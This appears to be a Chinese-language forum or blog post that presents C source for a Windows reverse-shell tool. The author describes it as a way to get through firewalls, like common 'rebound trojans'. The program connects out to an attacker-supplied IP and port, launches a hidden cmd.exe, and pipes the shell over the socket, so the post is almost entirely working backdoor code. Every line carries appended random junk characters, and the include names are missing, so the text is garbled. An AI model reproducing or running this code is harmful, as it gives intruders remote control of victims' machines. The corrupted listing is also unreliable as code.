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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 J?&lpsB3_l  
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/* ============================== ))^rk 6  
Rebound port in Windows NT oqH811  
By wind,2006/7 2T3v^%%j  
===============================*/ }A3(g$8KR  
#include |FG t'  
#include qRT1Wre 3  
`d2}>  
#pragma comment(lib,"wsock32.lib") )eop:!m  
}2:/&H'  
void OutputShell(); *Nloa/a&9  
SOCKET sClient; Sd'!(M^k3  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; dtw1Am#Ci  
u0`~ |K  
void main(int argc,char **argv) P*_!^2  
{ -(V]knIF  
WSADATA stWsaData; PLf  
int nRet; SV}q8z\  
SOCKADDR_IN stSaiClient,stSaiServer; p(in.Xz  
rs2G{a  
if(argc != 3) +e+hIMur  
{ -e_ IDE  
printf("Useage:\n\rRebound DestIP DestPort\n"); _IBI x\F  
return; i,=greA]"  
} xa#0y   
Z[<rz6%cB  
WSAStartup(MAKEWORD(2,2),&stWsaData); ,rVm81-2  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r\Nf309~  
!7 "-9n  
stSaiClient.sin_family = AF_INET; O3WhO@`6)  
stSaiClient.sin_port = htons(0); 0Aw.aQ~E8i  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :SUPGaUJ"  
0 Po",\^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /( %Q  
{ _\waA^ F  
printf("Bind Socket Failed!\n"); (NK$2A/p  
return; QNj hA'[T  
}  KoVy,@  
]BGWJA5  
stSaiServer.sin_family = AF_INET; 7t=e"|^  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^Lr)STh  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y+ 75}]B  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xtMN<4#E  
{ W8+Daw1Nr  
printf("Connect Error!"); ,=whwl "tA  
return; sJo]$/?F  
} ,Q!sns[T  
OutputShell(); `p1szZD&  
} Se/VOzzg  
%tEjf 3  
void OutputShell() |3`Sd;^;  
{ )/kkvI()l  
char szBuff[1024]; F!OVx<  
SECURITY_ATTRIBUTES stSecurityAttributes; S'm&Ll2i@  
OSVERSIONINFO stOsversionInfo; <cm,U)j2  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a]XQM$T$  
STARTUPINFO stStartupInfo; c+chwU0W  
char *szShell; Y^$^B,  
PROCESS_INFORMATION stProcessInformation; -jy- KC  
unsigned long lBytesRead; .^j6  
u&Ts'j  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Hf!o6 o  
Hv2t_QjKT  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); T^.;yU_B?  
stSecurityAttributes.lpSecurityDescriptor = 0; Lsa&A+fru  
stSecurityAttributes.bInheritHandle = TRUE;  Ht| No  
gjB36R  
}PdS?[R  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7wS )'zR;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +M-x*;.  
ZlD\)6 dZ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C%#=@HC  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'lNy&  
stStartupInfo.wShowWindow = SW_HIDE; Q`k=VSUk  
stStartupInfo.hStdInput = hReadPipe; ep`WYR|B  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .O! JI"?  
(PAkKY}  
GetVersionEx(&stOsversionInfo); 4#Wczk-b  
`(s&H8x#  
switch(stOsversionInfo.dwPlatformId) >a7'_n_o  
{ ~Z-M?8:  
case 1: ): HjpJvF  
szShell = "command.com"; 4TcKs}z  
break; A_3V1<J`]  
default: m`luMt9  
szShell = "cmd.exe"; 8JxJ>I-9p  
break; @b[{.m U  
}  x~p8Mcv  
pJ35M  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P(pw$ q$S  
W FVx7  
send(sClient,szMsg,77,0); vW,dJ[N6jm  
while(1) <>JN&#3?  
{ NFq&a i  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .y'iF>QQ\  
if(lBytesRead) _aa3;kT_  
{ 1|$V  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5u +U^D  
send(sClient,szBuff,lBytesRead,0); 'q%56WAJ  
}  pleLdGq  
else ArWMbT>Zqw  
{ 6[fpe  
lBytesRead=recv(sClient,szBuff,1024,0); Ay\=&4dv  
if(lBytesRead<=0) break;  eX7dyM  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *ue- x!"c  
} /Y$UJt  
} b|mWEB.p  
A;~lG3j4  
return; xVk|6vA7  
}
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